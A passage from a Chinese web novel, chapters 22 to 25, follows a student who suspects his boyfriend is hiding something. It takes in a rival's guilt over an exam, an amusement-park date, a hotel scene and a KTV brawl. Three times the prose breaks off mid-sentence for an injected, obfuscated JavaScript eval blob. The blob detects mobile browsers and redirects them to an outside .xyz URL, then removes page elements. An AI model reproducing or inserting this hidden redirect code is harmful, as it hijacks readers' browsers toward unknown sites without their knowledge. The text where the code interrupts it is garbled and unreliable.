晏恒洲的父母对他很严格,从小就一直要求他拿第一,有任何一次拿不到都会被罚,而只要碰到祝惊霜,他就从没拿过第一。 而他的父母威胁他,如果这次比赛不能拿一等奖,就要把陪伴他长大的宠物送去安乐死。 宠物是晏恒洲的奶奶在他小时候送给他的,他父母一直颇有微词,觉得玩物丧志。 这一次终于下了最后通牒。 晏恒洲站在门外,拳头握的很紧,他在心里默默想,你可能不缺这一个奖,但我真的很缺这一次机会。 其实祝惊霜参加,他也不一定就拿不到一等奖了,毕竟名额不止一个。 但晏恒洲太害怕了,从小到大他都活在祝惊霜的阴影之下,无数次都是差一点,就那么一点,却好像是天壤之别。 每一次祝惊霜拿一等奖,他都只能拿到二等奖,连并肩都做不到。 所以最终他选择假装什么都没发现,走回去时手都在抖。 其实考到一半时就有巡查的老师发现祝惊霜了,但当时祝惊霜的状态已经很不好了,浑身都在发颤,最后没有参加考试,而是直接去了医院。 晏恒洲不会知道,在被锁在厕所里时祝惊霜想到了那一年车祸,他窝在哥哥的怀里,周围空气稀薄。 同样是狭小的密闭空间,同样的黑暗和无助。 那是祝惊霜永远无法遗忘的噩梦。 晏恒洲最后如愿以偿拿到了一等奖,他第一次没再被祝惊霜压一头。 他很愧疚,但又只能一遍遍安慰自己,祝惊霜不差这一个奖。 而且和自己家不同,祝惊霜的家人对他并没有什么要求,祝惊霜也不会因此受到任何责罚。 一开始晏恒洲是心虚的,他当时没有说话,所以不知道祝惊霜知不知道是他。 不知道为什么,他很害怕祝惊霜知道。 在此之前他对祝惊霜的态度已经足够恶劣,却依然害怕对方知道自己是这样一个人。 但后面祝惊霜对他态度一如从前的冷淡,加上家里人与日俱增的压力,他也就渐渐把这件事抛在脑后,对祝惊霜也恢复了往常针锋相对的态度。 22. 坦白 “祝惊霜。” 叫住祝惊霜的时候,晏恒洲也不知道自己想要说什么。 只是不知为何,看着祝惊霜离开的背影,他总觉得心里发慌。 他是今天才知道,祝惊霜一直知道那个人是他的。 “不是。”晏恒洲说出这句话时脸上的表情堪比便秘,让他服软认错简直比杀了他还难受:“不是故意的。” 这是在回答祝惊霜刚刚问他是不是故意犯规撞的赵牧铭。 得到答案,祝惊霜什么也没说,只停顿了一下就继续开门走了。 晏恒洲看着关上的门,堵在喉咙里的那句道歉最后还是没有说出口。 其实那天他去医院看过祝惊霜。 看见祝惊霜苍白的面孔,他的心口很沉,仿佛有什么尖锐的东西在里面不断下落。 …… 晏恒洲一直讨厌祝惊霜。 第一次被祝惊霜压一头时,他被家法处置;第二次比祝惊霜考得低,他挨打后被罚跪一晚上,在黑暗里默默想,自己一定会超过祝惊霜。 可是第三次,第四次……他再也没有超过祝惊霜。 他讨厌祝惊霜,讨厌那种无能为力的感觉,好像自己所有的努力都会在对方的风轻云淡里化为灰烬。 可能是太讨厌了,也可能是因为记事起他满心满眼都是怎么去战胜祝惊霜。 所以晏恒洲记得更清楚的,反而是祝惊霜明亮的双眼,和全身痉挛时汗湿的刘海。 …… 祝惊霜走进房间时,赵牧铭正看着窗外发呆,强壮的手臂上缠着白色的绷带,身上还穿着运动服。 听见动静转过头来,赵牧铭双眼一亮:“你怎么来了?” “方宸说你在这,我来看看你。”祝惊霜坐到床边的椅子上:“伤得怎么样?” “没什么事,就一点小伤,不用担心我。”赵牧铭用没有绑绷带的那边手紧紧握住祝惊霜的手腕:“你呢?你去哪了,今天怎么没有来?” “我今天去见了之前和你说过的那个家教老师。”祝惊霜说话时一直盯着赵牧铭的眼睛,语气平静。 他看见赵牧铭的目光中浮现出一丝怔愣,好像并不知道他在说什么般。 祝惊霜垂下眼帘:“你不记得了吗?” “哦他啊。”赵牧铭的表情恢复镇定,故作惊讶,随后又欲盖弥彰道:“怎么样?你们聊了什么?” 祝惊霜慢吞吞地说:“挺好的,聊了一些以前的事情。” “那还不错。”赵牧铭想转移话题:“你猜猜我今天输了还是赢了?” 祝惊霜静静地看着他,漆黑的眼眸透亮,仿佛能将他整个看透。 有那么一瞬间赵牧铭的手心渗出冷汗,都要以为祝惊霜知道了。 但祝惊霜最后只是笑了一下,顺着他的话猜:“输了?” “当然不是。”赵牧铭很不满:“那么不信任你男朋友?” “你让我猜的。”祝惊霜眉眼含笑:“看你受伤,我还以为最后输了。” 赵牧铭把这番话自动脑补为祝惊霜觉得他很厉害,所以他受伤下场之后队伍会输,立刻就得瑟起来:“我是在最后一场才受伤的,加上前面的积分已经够了。” 他的伤不重,换了一次药之后就可以离开了,走出病房前祝惊霜冷不丁说了一句:“那个老师回国了,还住在我之前和你说过很多次的地方,你周末能不能再陪我去看看他?” 赵牧铭寒毛直竖,只能为难道:“我明天有点事情,可能去不了。” “周末呢?”祝惊霜耐心地询问。 赵牧铭正绞尽脑汁思考用什么理由拒绝,却听见祝惊霜轻轻叹了口气,罕见地用有些娇嗔的语气小声说:“我想着带你去让老师看看我的男朋友的。” 赵牧铭被这仿若撒娇的一句话冲昏了头脑,立刻点头如捣蒜:“去去去。” 下一秒他反应过来心里一惊,可是看见祝惊霜在听见自己答应后嘴角绽出的浅笑,他无论如何都无法再说出拒绝的话。 在和祝惊霜分开后赵牧铭就想办法打听祝惊霜口中那个和他提过的“家教老师”是怎么回事,最后却仅仅能知道那个家教老师是祝惊霜初中时期教他的。 再联想到祝惊霜哥哥去世的时间,赵牧铭猜测那或许是同时教过祝惊霜和他哥哥的老师,祝惊霜会把对方看的那么重要应该也有哥哥的原因。 可是赵牧铭根本不知道祝惊霜之前说过的地址。 如果是平常他说一句不记得也很正常,但是他因为心虚不敢直接说,生怕祝惊霜因此起疑。 在周五晚上,赵牧铭犹豫半天还是给祝惊霜发了消息: 【赵牧铭:小霜,你把明天的地址再给我发一下,我确认一下】 过了很久祝惊霜才回消息,没有说话,而是直接发了一个小区的定位过来。 【赵牧铭:好】 客厅里没有开灯,手机屏幕上的微光在祝惊霜的脸上留下一道明暗。 盯着那个和自己配套的头像看了半天,漆黑的睫羽垂下,他终于还是把那句话发了出去。 【祝惊霜:算了,下次再去吧】 【祝惊霜:老师刚刚和我说他这周末有点事。】 点完发送后他就放下手机,猜测对方或许会因为他的回答而松一口气。 祝惊霜其实只无意间提过一次,而并非他所说的提过很多次,对方会忘记再正常不过,可是赵牧铭在最初的茫然后就认下了,做出全都记得的模样。 而且祝惊霜自己都是在万则越带他去了以后才知道老师回国之后的地址的,怎么可能在之前就提过。 祝惊霜很确信,赵牧铭一定有事情瞒着自己。 万则越或许知道,可是他还是想给赵牧铭一个坦白的机会。 “双双?” 随着头顶的灯被打开,一道略带磁性的年轻男声响起:“怎么不开灯?” 灯光打在祝惊霜的脸上,刺的他下意识闭了闭眼,面容在光影中淡漠而冷傲,冷白的皮肤仿佛透着光一般。 “你坐这吓我一跳,我还以为家里进贼了。”贺栩樾没发现他的不对劲,笑着把脱下的外套放在沙发上。 没得到回应,贺栩樾收敛了一下表情,嘴角依旧挂着笑容,靠近祝惊霜:“谁又惹我们双双不开心了?” 祝惊霜看了他一眼,犹豫了一下还是选择听一听朋友的意见:“如果你……” 他停顿几秒,组织了一下语言,继续道:“如果你发现对象骗了你,你会怎么办?” “如果我对象骗了我?”贺栩樾重复了一遍,忽然大怒:“赵牧铭骗你了?他出轨了?” 祝惊霜不知道他怎么联想到的出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403497|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轨,扯了扯他的衣角:“不是出轨……不是这方面的问题。” 他微微蹙起眉:“我不知道具体是什么事情,但他有时候表现的……很奇怪。” 贺栩樾紧绷的肌肉放松下来,拉开椅子坐在祝惊霜身边:“比如呢?” “比如,我每一次提起在一起之前他追我时候的事情,他都会很逃避,不只是不想提,更像是全然不知。”祝惊霜的手指一下一下轻轻敲着桌面,眉头蹙的很紧。 “这确实挺奇怪的。”贺栩樾的目光追随着他一晃一晃的手指,一时之间也觉得莫名:“他好像也追了你挺久的吧,就算记性不好也不至于全都不记得。” 祝惊霜其实心里隐约有猜测,但是没有说出口。 “你就是在为了这个烦心?”贺栩樾倒了杯热水放在他面前,想让他放松一点,刻意调笑道:“别想了,大不了直接问,总不能追你的人和你现在的男朋友其实不是同一个人吧?” 他是开玩笑,祝惊霜听完后心口却猛地一沉。 其实他有想过直接问,可是不知为何他总感觉如果直接问,赵牧铭是不会说的。 窗外闪过一道白光,随着惊雷划破天空,豆大的雨点砸在玻璃窗上,越来越密集。 贺栩樾第一时间起身去检查书房的窗有没有关,之前书房被他改造成了画室给祝惊霜用。 祝惊霜动作慢了一步,走到门口就听见书房里传来贺栩樾的惊叹:“这是你的参赛作品?你画完了?” “嗯。”祝惊霜倚在门框上,看着贺栩樾围在画架边不断赞叹。 虽然带他找灵感只是万则越想给他惊喜找的借口,但他确实从中获得了一点灵感,回来以后就很顺畅地画完了。 这时祝惊霜放在客厅的手机响了,是系统自带的电话铃声。 只响了两声就挂断了,祝惊霜拿起手机看了一眼,是方宸打来的。 没等他回拨电话,方宸就发了消息过来: 【方宸:你阳台晒的衣服帮你收下来放你床上了,刚打了你电话你没接】 【方宸:你现在不在外面吧?天气预报这几天好像有台风】 【祝惊霜:不在外面】 【祝惊霜:谢谢,下周请你吃饭】 【方宸:和我客气什么】 贺栩樾在一旁看着他,忽然问:“你没给他设置电话铃声?” “没,怎么了?”祝惊霜扭头疑惑地看他。 贺栩樾掏出手机给祝惊霜拨了个电话过去,在听见《小幸运》的铃声响起后心满意足地收起手机:“哦,那就是只给我设置了。” 祝惊霜忍了忍还是没忍住,骂了他一句有毛病。 说起来,他确实只给贺栩樾设置了《小幸运》的电话铃声。 小的时候,贺栩樾的妈妈有段时间很爱听这首歌,在家放了很多次,放的才读小学的贺栩樾都熟悉旋律了,还来唱给祝惊霜听。 但他嗓子粗,唱歌也不好听,平时在家唱都会被嫌弃,只有祝惊霜会安静地听他唱。 那时候还太小,不理解歌词的意思,贺栩樾很高兴地说,祝惊霜就是自己的“小幸运”,还把祝惊霜的电话铃声设置成了这首歌。 设置完以后他就低头看着祝惊霜,眼睛里充满渴望。 祝惊霜无奈,只好也当面给对方设置了专属的电话铃声。 23. 永远 转眼间学期过半,许多人已经开始准备找实习,祝惊霜心里有数,没有着急找,但每天都看见方宸为此焦头烂额。 “不是下个学期才去吗,你们怎么都那么早开始找?” 五月底的天气炎热,寝室的空调被调到了最低温,祝惊霜边穿上外套,边抬头看向说话的晏恒洲。 注意到祝惊霜的目光,晏恒洲侧头看了他一眼,误会了他的意思,顺手把空调调高了几度,还说了句:“下次自己调,我可不会次次都帮你。” 祝惊霜只觉得莫名其妙。 另一个舍友边看平板边回晏恒洲刚刚问的问题:“等暑假找就来不及了,很多人估计都是暑假一开始就入职了。” “话说你准备去哪?”有人问。 晏恒洲的注意力还在祝惊霜身上,闻言随口道:“再说吧。” “你怎么和惊霜一样,不过也对,你们这几年拿了那么多奖,估计不愁找不到。”方宸发出了羡慕的声音。 祝惊霜瞥他一眼:“之前让你和我一起参加你又不肯。” “你一个人就能做完,我都不好意思混。”方宸叹了口气:“我还是认命好了。” “你还有不好意思的时候?”另一个舍友打趣完立刻缩头躲过方宸砸过来的枕头,还不忘继续嚷嚷:“惊霜带我!填我名字,我好意思。” 祝惊霜知道他不过是开玩笑,也笑着说:“好啊,下次加你名字。” 这时手机响了一下,祝惊霜垂下眼帘。 【赵牧铭:周一你是不是只有上午有一节课?】 【祝惊霜:对】 【赵牧铭:上完课后你没别的事情了吧?】 【祝惊霜:没有】 【赵牧铭:那我去找你!】 祝惊霜以为赵牧铭只是想见他,周一下课后却看见赵牧铭把自行车停在门口神神秘秘地对他说:“快上来,我带你去个地方。” 赵牧铭在后座上垫了个软垫,祝惊霜坐上去后忽然想到赵牧铭今天应该是满课:“你等会儿不是还有课吗?” “都是水课,老师管的不严,让我舍友帮忙签到就行了。”赵牧铭的声音混在风里,显得有些模糊。 祝惊霜把头靠在他的背上,像是才想起要问:“你要带我去哪?” “怎么现在才想起要问?”赵牧铭笑得后背都在震:“等会儿就知道了,放心,不会把你卖了的。” 祝惊霜没说话,只是轻轻掐了他一下。 单车最后停在了游乐园的门口,祝惊霜下去后看见闪烁着彩色光的招牌,才反应过来今天是儿童节。 在排队的大部分都是小孩和家长,只有极少数是年轻的情侣。 热闹的人流声中,赵牧铭贴到他耳边,温热的气息扑撒在他的耳垂上:“小霜,你那天和我说,你的哥哥曾经答应过你每年儿童节都会带你来游乐园。” 祝惊霜还说过,在哥哥离世后,他再也没有去过游乐园,现在的他也早就过了爱去游乐园的年龄。 只是每次想起,依旧觉得痛苦。 “我希望这不是你的痛苦,我想你哥哥带你来是想你快乐,我也是。” 赵牧铭说话时低着头,没有去看祝惊霜的脸。 稚嫩的童声喧哗而杂乱,在一片欢声笑语中祝惊霜看向了旋转木马的方向。 “要去吗?”赵牧铭看了一眼,发现排队的人还不少。 祝惊霜摇了摇头:“我想最后再去坐。” 他的目光投向旁边的过山车,一双黑眸骤然有了对焦:“我们去过山车吧?” 赵牧铭牵着他的手蓦然紧了紧,却还是低低应了一声:“好。” 已经不是第一次坐过山车了,但祝惊霜每一次坐上去时依旧会下意识放轻呼吸。 耳边是其他人的尖叫,风拍打在脸上,极速旋转中空气流动声伴随着耳鸣席卷了整个大脑。 祝惊霜余光瞟到身旁的赵牧铭明明怕的要死还故作冷静的模样,心脏在高空加速跳动着,忽然有一瞬间好像漏了一拍。 为什么那么爱还是要骗他呢? 游乐园里有好几种不同的过山车,祝惊霜挨个去坐了一遍,赵牧铭也一直陪着他。 中途祝惊霜主动提出如果赵牧铭不想坐可以在下面等他,被赵牧铭拒绝了。 “我陪你。”赵牧铭拧开矿泉水的瓶盖后递给祝惊霜,态度很坚持。 游乐园的餐厅里弥漫着食物的香味,祝惊霜垂头看着菜单:“你想吃什么?” 夏天的天黑的晚,昼长夜短,已经五点多了天空依旧亮堂。 阳光透过玻璃窗照亮了祝惊霜白皙的脸庞,漆黑的瞳孔在明媚的日光下泛出浅淡的金色。 “都行,你吃什么我就吃什么。”赵牧铭看着看着就入了迷,根本没注意祝惊霜的询问,对方说什么他都点头。 番茄虾仁意面上来的时候,赵牧铭还没有反应过来,吃了好几口,抬头便对上那双漂亮的黑眸,动作顿了一下:“你怎么不吃?” 祝惊霜垂下眼帘,又细又密的睫毛在眼睛下面落下一层阴影,声音很低:“我等饮料上来再吃。” 他记得很清楚,赵牧铭在追他的时候曾经也在一起吃饭的时候吃过一次虾仁,当场就有了很严重的过敏反应。 那时候赵牧铭还和他说,这是遗传的,治不好。 或许是餐厅人太多了,祝惊霜感觉胸口很闷,沉沉的往下坠痛。 没吃几口他就吃不下了,起身想出去透透气。 离开了空调范围,燥热的温度让空气仿佛都变得稀薄,更让人产生一种喘不上气的错觉。 见祝惊霜出来了,赵牧铭也匆忙收好东西跟上来。 傍晚,火红的夕阳坠落,金灿灿的晚霞在天边铺开一片,丝丝缕缕的湛蓝在其中渲染,组合成一幅流光溢彩的画卷。 饭后不宜去太激烈的项目,祝惊霜和赵牧铭最后选择了去坐摩天轮。 摩天轮升到顶点的时候,赵牧铭忽然侧头在祝惊霜的唇上啄了一下。 “干嘛?”祝惊霜今天穿了一件淡紫色的短袖开衫,抬眸看过来时眼底映出漫天霞光,显得眉眼分外温柔。 赵牧铭眉目含笑,一本正经地说:“听说在摩天轮升到顶端时接吻的情侣会一辈子在一起。” 祝惊霜微微弯了弯眉:“这你也信。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403498|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵牧铭也不生气,只是笑眯眯道:“宁可信其有。” 在摩天轮又一次升到顶端时,祝惊霜叫了一声身旁人的名字:“赵牧铭。” “嗯?” 赵牧铭扭头,鼻腔里顿时斥满清香,唇上也传来温热柔软的触感。 祝惊霜主动吻了他。 全身血液仿佛都开始倒流,赵牧铭在一开始的怔愣后立刻揽住面前人的腰,低头加深了这个吻。 祝惊霜闭上眼睛,纤长的睫毛颤抖着。 不知何时夜幕降临,如墨的夜色掩盖住了其他更深的情绪,暧昧的余温流淌在这一小方天地。 第二天没有早课,走进酒店的时候祝惊霜低头给贺栩樾发消息,说自己晚上不回去了。 【讨厌鬼:又和男朋友出去约会呢】 【讨厌鬼:前几天不还和我说他……今天又甜甜蜜蜜上了】 【讨厌鬼:我不管你了】 【讨厌鬼:反正你记得注意安全】 【讨厌鬼:还有明天下午你还有课,记得别闹太晚,祝双双】 …… 桌上手机屏幕不断闪烁,但祝惊霜此刻已经无暇顾及。 铺天盖地的吻几乎要将他淹没,气息交融,相触的每一寸皮肤都变得滚烫起来。 落地窗的窗帘没拉严实,隐约有月光从缝隙透进来,有一缕撒在祝惊霜光洁的后背上。 赵牧铭低头看了几眼,忽然凑近。 “嗯……” 祝惊霜感觉到后背传来的触感,浑身颤了颤。 “你这里有颗痣。”赵牧铭说着,又俯身轻吮了一下:“就在蝴蝶骨的上面一点。” 他笑了一声:“很漂亮。” 祝惊霜喘息着,清冷的眉眼透出几分难捱的脆弱,声音很轻:“痣有什么漂亮的。” “就是漂亮。”赵牧铭的手在他腰边恶劣地摩挲,感受到身下人开始微微痉挛才停下,声音低沉而沙哑:“你哪里都漂亮。” …… 满室旖旎暧昧,空气仿佛都变得粘稠,赵牧铭把祝惊霜抱得很紧,不知为何总觉得心口发慌。 是他忘记了什么?还是遗漏了什么地方? 正胡思乱想着,怀里的人突然扭过头看向他的眼睛,漆黑的瞳孔流动着细碎的光,声音轻得仿若从梦中来:“你有没有事情瞒着我?” 祝惊霜没有得到答案,赵牧铭眼睛一眨不眨地看着他,像是在判断此刻是不是一场梦。 沉默几秒,祝惊霜再次开口,尾音轻到几乎听不见:“只要你今天告诉我,我就原谅你。” 这次赵牧铭终于有了反应,他避开祝惊霜的目光,笑着说:“我哪有事情瞒着你。” 祝惊霜还是盯着他,因为刚刚的剧烈运动雪白的皮肤上还染着淡淡的粉,他又说了一遍:“真的没有吗?” “仅限今晚哦。” 赵牧铭没有回答,只是把他往怀里又搂了搂,闭上双眼:“睡吧。” 祝惊霜终于彻底安静下来。 感觉到抱着自己的人呼吸逐渐平稳,他闭了闭眼,拿出手机给万则越发了条消息: 【祝惊霜:我们见一面。】 24. 真相 那天之后祝惊霜对赵牧铭的态度一如既往,那晚的对话仿佛没有只是一个梦。 期末月的来临也让祝惊霜暂时没有精力去想赵牧铭的事情,好几门专业课的老师都要求拿结课作业去参赛,还都是同一个比赛。 祝惊霜的作品基本上都被选上了,每天都在电脑前焦头烂额地修改。 最后一门考完后祝惊霜回到宿舍,看见手机上赵牧铭发消息说要送他一个礼物。 祝惊霜点开发现是一个小程序,点开发现是一个类似经营餐厅的小游戏,画面和玩法都很简单,看起来应该是赵牧铭自己做的。 【祝惊霜:你做的吗?】 【赵牧铭:对,我在课上做的】 祝惊霜这才想起,赵牧铭是学计算机的。 在赵牧铭说自己的专业时,祝惊霜真正开始怀疑自己的记忆出现了问题。 明明他记得对方追自己的时候也提过自己的专业,并不是计算机,而是财管。 万则越刚好是这个专业。 祝惊霜想过会不会是自己的问题,可是没道理只有在赵牧铭的事情上他的记忆出错。 而和万则越见面后对方的话也代表了有问题并不是他。 【赵牧铭:怎么样?】 盯着屏幕看了几秒,祝惊霜没有吝啬赞美,打了好几句夸赞发过去。 赵牧铭发了好几个表情包过来,隔着屏幕祝惊霜仿佛都能看见对方被夸后得意洋洋的模样。 【赵牧铭:你看左下角的爱心菜单】 祝惊霜跟着点开,看见一个粗糙的手绘食谱,里面的菜都是自己爱吃的。 【赵牧铭:这个菜单是专门为你做的】 【赵牧铭:你想吃什么在里面点,我就会给你送过去】 祝惊霜唇角不自觉微微上扬,故意发: 【祝惊霜:什么时候都送吗?】 【赵牧铭:什么时候都送】 【祝惊霜:在你上课的时候点也送吗?】 【赵牧铭:我翘课送】 “笑什么呢,那么开心。”方宸把压缩包发给学委后一扭头,就看见祝惊霜带笑的眉眼:“让我也看看。” 祝惊霜收敛表情,又恢复了冷淡:“没什么。” 方宸单手搭上他的肩,把头低下来:“怎么?在和男朋友聊天?” 祝惊霜没说话,方宸本来只是随口一说,见他默认却是真的愣了一下:“没想到你谈恋爱也会这样……” “什么样?”祝惊霜疑惑地抬眸。 “就是,看着手机笑个不停啊。”方宸想了想怎么说:“我还以为你对对象也会是比较冷淡的那种。” 祝惊霜抿了抿唇,还没开口就听见另一个舍友的喊声: “我打到车了!走吧。” “来了!”方宸抬头应了一声,祝惊霜也就把原本想说的话咽了下去。 【祝惊霜:我和舍友约好了考完试去外面玩,先不聊了】 发完最后一句话,祝惊霜就收起手机跟了上去。 这家KTV在商场四楼,是新开业的,场地和设备都很新。 晏恒洲正在前台验卷,电梯“滴”一声下来了几个人,方宸看了一眼立刻去扯祝惊霜的袖子:“霜儿,你看那是不是你男朋友?” 祝惊霜扭头,果然看到赵牧铭穿着火红的上衣满脸惊喜地看着自己,身边还站着几个同样年轻的男人,应该是他的舍友。 赵牧铭几乎是小跑到祝惊霜面前,高大的身躯投下阴影,眼睛里满是笑意:“原来你们也来这里,我们宿舍也是约来这里玩。” 他揽着祝惊霜扭头对其他舍友介绍:“这是我男朋友,祝惊霜。” “知道知道,你天天都提。” “学长那么有名,总算是见到真人了。” “之前我们让小子带我们见见你,他硬是说你没时间……” …… 赵牧铭的几个舍友七嘴八舌地围着祝惊霜,全都满脸兴奋。 突然有个人冒出一句:“学长你比表白墙上还好看!” 方宸没忍住“噗嗤”一声,和祝惊霜其他的几个舍友笑得歪在一起。 赵牧铭想骂人,他就是因为怕这样才不带祝惊霜和舍友们见面的。 骂人的话在喉咙里转了一圈,看祝惊霜被逗笑了心情很好的样子,他还是只咬牙切齿地笑着说了一句:“再好看也是我男朋友。” 没人理会他,祝惊霜在和自己舍友介绍赵牧铭他们。 赵牧铭的一个舍友突然说:“要不我们一起吧?直接订个大的包间。” 其他人都没意见,只有祝惊霜突然想起什么一般有些欲言又止。 “这么热闹,在聊什么呢?” 桀骜的声音响起,晏恒洲靠在柜子上笑眯眯地看着他们。 方宸这才想起晏恒洲和赵牧铭上次在篮球赛时起过冲突,看周围人的表情,应该也想起来了。 只有祝惊霜依旧面色如常,走到晏恒洲面前,声音平缓:“他们在商量要不要一起拼房,你怎么想?” 晏恒洲盯着他漆黑的瞳眸,KTV里炫彩的灯光映在里面,显得格外透亮清澈。 过了几秒,他主动移开视线,吊儿郎当地吹了下口哨:“都行,我没问题。” 于是就这样定了下来。 都不是特别内向的性子,赵牧铭的几个舍友和祝惊霜除了晏恒洲以外的其他舍友很快就混了个七八分熟,笑闹着开始点歌。 晏恒洲虽然同意了,但却还是臭着脸坐在一旁,和他关系比较好的那个舍友强行塞了个麦克风给他,他只好跟着一起唱。 ——“如果早点了解 那率性的你 或者晚一点 遇上成熟的我……”① 不管第几次唱,依旧跑调的厉害,方宸在旁边笑得合不拢嘴:“他唱歌比别人多个调,还有个调是他自己自创的。” 祝惊霜弯了弯眉,被晏恒洲看见当做是嘲笑的表现,瞪了他一眼。 ——“误会自己洒脱 让我们难过 可当初的你和现在的我 假如重来过……”② 到了后面另一个人已经完全被晏恒洲带偏了,唱出的调没一句是准的。 陌生的前奏出来,晏恒洲把麦克风放到桌上:“这首我不会。” “这首歌赵哥会唱啊。”那个夸祝惊霜好看的男人染了一头金毛,在点歌台前很抢眼:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403499|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵哥你男朋友听着呢,这不来一首。” 他嚷嚷完,立刻得到了其他人的附和。 赵牧铭待在祝惊霜身边一动不动,好像完全没听到。 “他们喊你呢,怎么不去?”祝惊霜吃了一块他剥好的橘子,眼波流转间盈盈的笑意摄人心魄。 “你想听我唱吗?你想听我就去。”赵牧铭挠了挠头:“但我唱的不太好。” “怕什么。”祝惊霜往旁边瞟了一眼:“晏恒洲唱歌还跑调呢。” “祝惊霜你是不是在说我坏话?”晏恒洲没听清话,但还是敏感地转过头来。 祝惊霜没理他,只是托腮望着赵牧铭,眼神里带着鼓励。 赵牧铭最后还是被塞了个麦克风一起唱。 ——“也许你已经放弃我 也许已经很难回头 我知道是自己错过……”③ 其实赵牧铭唱的还行,起码在调上。 “学长。”那个金毛坐到他身边,手上拿着瓶酒:“喝吗?” 祝惊霜本来是想拒绝的,不知为何又点了头。 金毛本来想找个杯子倒给他,他却仰起头露出修长白皙的脖颈,把酒一饮而尽。 方宸在一旁都愣住了,从祝惊霜敞开的领口看见了那微微泛红的锁骨,不自觉吞咽了一下口水。 ——“请不要把分手当作你的请求 我知道坚持要走是你受伤的借口 请你回头 我会陪你一直走到最后……”④ 低沉的歌声和金毛的惊叹声混在一起,祝惊霜喝的有点急,唇珠被压出血色,几缕碎发落在肩头,衬得五官多了几分鬼魅般的艳丽。 方宸咋舌,正想说话却被金毛抢了先:“没想到学长酒量那么好。” 金毛看着祝惊霜,满脸崇拜。 祝惊霜摇了摇头,雪白的面容上浮上淡淡的绯色,如鸦羽般浓密的睫毛在眼下洒落扇形的阴影。 “我去下洗手间。”他起身时晃了一下,赵牧铭刚好唱完走下来,连忙扶住他。 他在上面看见祝惊霜喝了酒,担心祝惊霜喝醉了走不稳路。 “不用。”祝惊霜把他推开,表情是和平日里别无二致的冷静:“我点了外卖,你在这帮我看着手机,我很快就回来。” 赵牧铭见他有条有序说了那么长一段话,稍微放心了一点,又叮嘱了一句:“那你小心点。” 祝惊霜离开之后赵牧铭一直坐立不安,不知道为什么他总直觉会出事。 是哪里不对? 手机上的时间过去了五分钟,赵牧铭坐不住了,把祝惊霜的手机交给方宸后起身往外走。 欢闹的歌声被关在门后,五颜六色的灯光打在地板上,让空旷的长廊看起来仿若魔幻迷宫。 好在还有指示牌。 赵牧铭对照着指示牌挂了好几个弯,终于看见了厕所的标识。 来不及放下心来,他就听见了一道不应该出现在这里的男声:“祝惊霜?你看着我。” 语气温柔,仿若低哄。 心猛地一沉,赵牧铭走过拐角,就看见万则越抱着祝惊霜把头低下来,两个人凑的很近,从他这个角度看简直下一秒就要亲上了。 25. 分手 赵牧铭的手机里给祝惊霜的备注是coisini,中文意思是怦然心动。 在高考结束后的暑假,他们在名为coisini的酒吧相遇。 喝醉的祝惊霜依恋地靠在他的怀里,嘴里喊着别人的名字,而他没有忍住低下头一吻芳泽。 那时候的赵牧铭不知道那是祝惊霜的初吻,再次遇见时他一眼就认出了祝惊霜,但祝惊霜看着他,却像是在看一个陌生人。 于是赵牧铭明白了,祝惊霜不记得他,甚至不一定记得那晚喝醉后曾和别人亲密拥吻过。 对那一吻念念不忘的,从始至终都只有他一个人。 脑海中紧绷的弦啪嗒断了,拳头也硬了,眼前熟悉的画面让赵牧铭一瞬间想起他和祝惊霜初遇的那一晚。 不同的场合,同样炫目的灯光,错位的人。 仿若宿命的轮回,他占据了本该是万则越的身份,而万则越用他和祝惊霜初见时的位置出现。 拿完外卖,方宸看着祝惊霜的手机嘀咕了一句:“祝惊霜怎么去了那么久。” 晏恒洲听见以后扭头看了祝惊霜刚刚坐的位置一眼,把麦克风塞给其他舍友,起身道:“刚好想去洗手间,我顺便去看看他还在不在。” 或许是因为喝了点酒,一出门他就被晃眼的灯光刺的有些晕头转向。 还在他很快就找到了路,几个人影出现在前面,绚烂的光线中几乎看不清脸。 晏恒洲记得祝惊霜今天外面套了一件透明的防晒衣,里面穿着白色上衣,袖口还绣了一只小蝴蝶。 只看了一眼,他就认出中间的那个是祝惊霜,正想叫他,却看见站在祝惊霜左边的男人一拳打在了另一个男人的脸上。 口腔里泛起铁锈味,万则越也不甘示弱,用空出来的那只手狠狠打了回去。 “你们在干什么?”晏恒洲赶紧上前把已经醉倒的祝惊霜带出来,生怕两个打架上头的男人误伤到他。 祝惊霜不在中间,赵牧铭更无所顾忌了,几乎拳拳到肉,狠戾且毫无章法。 万则越的一身肌肉也不是白长的,喘着粗气仿若失去理智的野兽。 两个人一时之间打的有来有回,KTV里嘈杂的人声和隔着门穿出来的音乐闷响声掩盖住了他们的打斗声,等到晏恒洲把祝惊霜送回去喊其他人过来时他们都挂了彩。 “别打了别打了,有什么话好好说。” 